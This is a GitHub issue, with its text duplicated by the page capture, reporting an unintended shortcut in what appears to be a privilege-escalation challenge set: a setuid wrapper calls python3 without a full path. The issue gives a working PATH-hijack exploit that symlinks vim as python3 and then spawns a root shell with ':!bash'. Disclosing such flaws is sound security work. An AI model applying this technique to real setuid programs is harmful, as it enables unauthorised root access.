We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
I didn't go through the whole set of challenges, so this could be WAI :)
suid-wrapper, and specifically wrapper.c, calls python3 without specifying its path. This is also visible from within the container:
[lowpriv@35f5389cfbac ~]$ strings ./config-privescs | grep python3 python3 /home/lowpriv/privesc/privescs.py
So, a simple PE can be the following. As the lowpriv user:
lowpriv
cd;mkdir bin;ln -s $(which vim) bin/python3 && ./config-privescs
and then :!bash
:!bash
The text was updated successfully, but these errors were encountered:
No branches or pull requests
I didn't go through the whole set of challenges, so this could be WAI :)
suid-wrapper, and specifically wrapper.c, calls python3 without specifying its path.
This is also visible from within the container:
So, a simple PE can be the following. As the
lowpriv
user:and then
:!bash
The text was updated successfully, but these errors were encountered: